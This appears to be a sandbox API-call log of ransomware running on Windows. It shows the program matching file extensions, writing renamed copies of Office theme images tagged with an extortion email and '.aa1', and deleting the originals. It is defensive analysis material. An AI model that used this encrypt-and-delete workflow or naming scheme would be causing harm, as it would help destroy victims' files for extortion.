lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0222.849] lstrlenW (lpString=".pdf") returned 4 [0222.849] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0222.849] lstrlenW (lpString=".xls") returned 4 [0222.849] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0222.849] lstrlenW (lpString=".xlsx") returned 5 [0222.849] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0222.849] lstrlenW (lpString=".ppt") returned 4 [0222.849] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0222.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0222.849] lstrlenW (lpString=".zip") returned 4 [0222.849] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0222.849] lstrlenW (lpString=".rar") returned 4 [0222.849] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0222.849] lstrlenW (lpString=".bz2") returned 4 [0222.849] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0222.849] lstrlenW (lpString=".7z") returned 3 [0222.849] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0222.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0222.849] lstrlenW (lpString=".dbf") returned 4 [0222.849] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0222.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0222.849] lstrlenW (lpString=".1cd") returned 4 [0222.849] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0222.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0222.849] lstrlenW (lpString=".jpg") returned 4 [0222.850] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0222.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0222.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0222.850] lstrlenW (lpString=".doc") returned 4 [0222.850] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0222.850] lstrlenW (lpString=".docx") returned 5 [0222.850] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0222.850] lstrlenW (lpString=".pdf") returned 4 [0222.850] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0222.850] lstrlenW (lpString=".xls") returned 4 [0222.850] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0222.850] lstrlenW (lpString=".xlsx") returned 5 [0222.850] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0222.850] lstrlenW (lpString=".ppt") returned 4 [0222.850] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0222.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0222.850] lstrlenW (lpString=".zip") returned 4 [0222.850] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0222.850] lstrlenW (lpString=".rar") returned 4 [0222.850] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0222.850] lstrlenW (lpString=".bz2") returned 4 [0222.850] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0222.850] lstrlenW (lpString=".7z") returned 3 [0222.850] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0222.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0222.850] lstrlenW (lpString=".dbf") returned 4 [0222.850] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0222.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0222.850] lstrlenW (lpString=".1cd") returned 4 [0222.850] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0222.850] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75 [0222.850] lstrlenW (lpString=".jpg") returned 4 [0222.850] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0222.851] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0222.851] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0222.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0222.851] GetFileSizeEx (in: hFile=0x170, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=11573) returned 1 [0222.851] CloseHandle (hObject=0x170) returned 1 [0222.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20 [0222.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0222.851] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0222.852] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.852] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0222.852] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0222.852] GetLastError () returned 0x0 [0222.852] ReadFile (in: hFile=0x170, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x2d35, lpOverlapped=0x0) returned 1 [0223.198] WriteFile (in: hFile=0x21c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x2d40, lpOverlapped=0x0) returned 1 [0223.202] ReadFile (in: hFile=0x170, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0223.202] WriteFile (in: hFile=0x21c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0223.202] SetEndOfFile (hFile=0x21c) returned 1 [0223.202] CloseHandle (hObject=0x21c) returned 1 [0223.202] SetFilePointerEx (in: hFile=0x170, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.202] SetEndOfFile (hFile=0x170) returned 1 [0223.203] CloseHandle (hObject=0x170) returned 1 [0223.203] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0223.204] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 1 [0223.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0223.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0223.204] lstrlenW (lpString=".doc") returned 4 [0223.204] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0223.204] lstrlenW (lpString=".docx") returned 5 [0223.204] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0223.204] lstrlenW (lpString=".pdf") returned 4 [0223.204] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0223.204] lstrlenW (lpString=".xls") returned 4 [0223.204] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0223.204] lstrlenW (lpString=".xlsx") returned 5 [0223.204] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0223.204] lstrlenW (lpString=".ppt") returned 4 [0223.204] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0223.204] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0223.204] lstrlenW (lpString=".zip") returned 4 [0223.204] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0223.204] lstrlenW (lpString=".rar") returned 4 [0223.205] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0223.205] lstrlenW (lpString=".bz2") returned 4 [0223.205] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0223.205] lstrlenW (lpString=".7z") returned 3 [0223.205] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0223.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0223.205] lstrlenW (lpString=".dbf") returned 4 [0223.205] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0223.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0223.205] lstrlenW (lpString=".1cd") returned 4 [0223.205] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0223.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0223.205] lstrlenW (lpString=".jpg") returned 4 [0223.205] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0223.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0223.205] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0223.205] lstrlenW (lpString=".doc") returned 4 [0223.205] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0223.205] lstrlenW (lpString=".docx") returned 5 [0223.205] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0223.205] lstrlenW (lpString=".pdf") returned 4 [0223.205] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0223.205] lstrlenW (lpString=".xls") returned 4 [0223.205] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0223.205] lstrlenW (lpString=".xlsx") returned 5 [0223.205] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0223.205] lstrlenW (lpString=".ppt") returned 4 [0223.205] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0223.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0223.206] lstrlenW (lpString=".zip") returned 4 [0223.206] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0223.206] lstrlenW (lpString=".rar") returned 4 [0223.206] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0223.206] lstrlenW (lpString=".bz2") returned 4 [0223.206] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0223.206] lstrlenW (lpString=".7z") returned 3 [0223.206] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0223.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0223.206] lstrlenW (lpString=".dbf") returned 4 [0223.206] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0223.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0223.206] lstrlenW (lpString=".1cd") returned 4 [0223.206] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0223.206] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0223.206] lstrlenW (lpString=".jpg") returned 4 [0223.206] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0223.206] lstrcmpiW (lpString1=".PNG", lpString2=".aa1") returned 1 [0223.206] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0223.206] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0223.952] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=21745) returned 1 [0223.952] CloseHandle (hObject=0x1dc) returned 1 [0223.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 0x20 [0223.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0223.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0223.953] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.953] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0223.953] GetLastError () returned 0x0 [0223.953] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x54f1, lpOverlapped=0x0) returned 1 [0223.956] WriteFile (in: hFile=0x208, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x5500, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x5500, lpOverlapped=0x0) returned 1 [0223.957] ReadFile (in: hFile=0x1dc, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0223.957] WriteFile (in: hFile=0x208, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xec, lpOverlapped=0x0) returned 1 [0223.958] SetEndOfFile (hFile=0x208) returned 1 [0223.958] CloseHandle (hObject=0x208) returned 1 [0223.958] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0223.958] SetEndOfFile (hFile=0x1dc) returned 1 [0223.959] CloseHandle (hObject=0x1dc) returned 1 [0223.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0223.960] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\thmbnail.png")) returned 1 [0223.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0223.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0223.960] lstrlenW (lpString=".doc") returned 4 [0223.960] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0223.960] lstrlenW (lpString=".docx") returned 5 [0223.960] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0223.960] lstrlenW (lpString=".pdf") returned 4 [0223.960] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0223.960] lstrlenW (lpString=".xls") returned 4 [0223.960] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0223.960] lstrlenW (lpString=".xlsx") returned 5 [0223.960] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0223.960] lstrlenW (lpString=".ppt") returned 4 [0223.960] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0223.960] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0223.960] lstrlenW (lpString=".zip") returned 4 [0223.960] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0223.960] lstrlenW (lpString=".rar") returned 4 [0223.960] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0223.961] lstrlenW (lpString=".bz2") returned 4 [0223.961] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0223.961] lstrlenW (lpString=".7z") returned 3 [0223.961] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0223.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0223.961] lstrlenW (lpString=".dbf") returned 4 [0223.961] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0223.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0223.961] lstrlenW (lpString=".1cd") returned 4 [0223.961] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0223.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0223.961] lstrlenW (lpString=".jpg") returned 4 [0223.961] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0223.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0223.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0223.961] lstrlenW (lpString=".doc") returned 4 [0223.961] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0223.961] lstrlenW (lpString=".docx") returned 5 [0223.961] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0223.961] lstrlenW (lpString=".pdf") returned 4 [0223.961] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0223.961] lstrlenW (lpString=".xls") returned 4 [0223.961] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0223.961] lstrlenW (lpString=".xlsx") returned 5 [0223.961] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0223.961] lstrlenW (lpString=".ppt") returned 4 [0223.961] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0223.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0223.962] lstrlenW (lpString=".zip") returned 4 [0223.962] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0223.962] lstrlenW (lpString=".rar") returned 4 [0223.962] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0223.962] lstrlenW (lpString=".bz2") returned 4 [0223.962] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0223.962] lstrlenW (lpString=".7z") returned 3 [0223.962] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0223.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0223.962] lstrlenW (lpString=".dbf") returned 4 [0223.962] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0223.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0223.962] lstrlenW (lpString=".1cd") returned 4 [0223.962] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0223.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\THMBNAIL.PNG") returned 74 [0223.962] lstrlenW (lpString=".jpg") returned 4 [0223.962] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0224.154] lstrcmpiW (lpString1=".GIF", lpString2=".aa1") returned 1 [0224.154] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0224.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0224.154] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=3970) returned 1 [0224.154] CloseHandle (hObject=0x1f8) returned 1 [0224.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 0x20 [0224.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0224.154] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0224.154] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.154] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0224.157] GetLastError () returned 0x0 [0224.157] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0xf82, lpOverlapped=0x0) returned 1 [0224.172] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf90, lpOverlapped=0x0) returned 1 [0224.173] ReadFile (in: hFile=0x1f8, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0224.173] WriteFile (in: hFile=0x1fc, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xea, lpOverlapped=0x0) returned 1 [0224.173] SetEndOfFile (hFile=0x1fc) returned 1 [0224.173] CloseHandle (hObject=0x1fc) returned 1 [0224.174] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0224.174] SetEndOfFile (hFile=0x1f8) returned 1 [0224.175] CloseHandle (hObject=0x1f8) returned 1 [0224.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0224.175] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 1 [0224.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0224.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0224.175] lstrlenW (lpString=".doc") returned 4 [0224.175] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 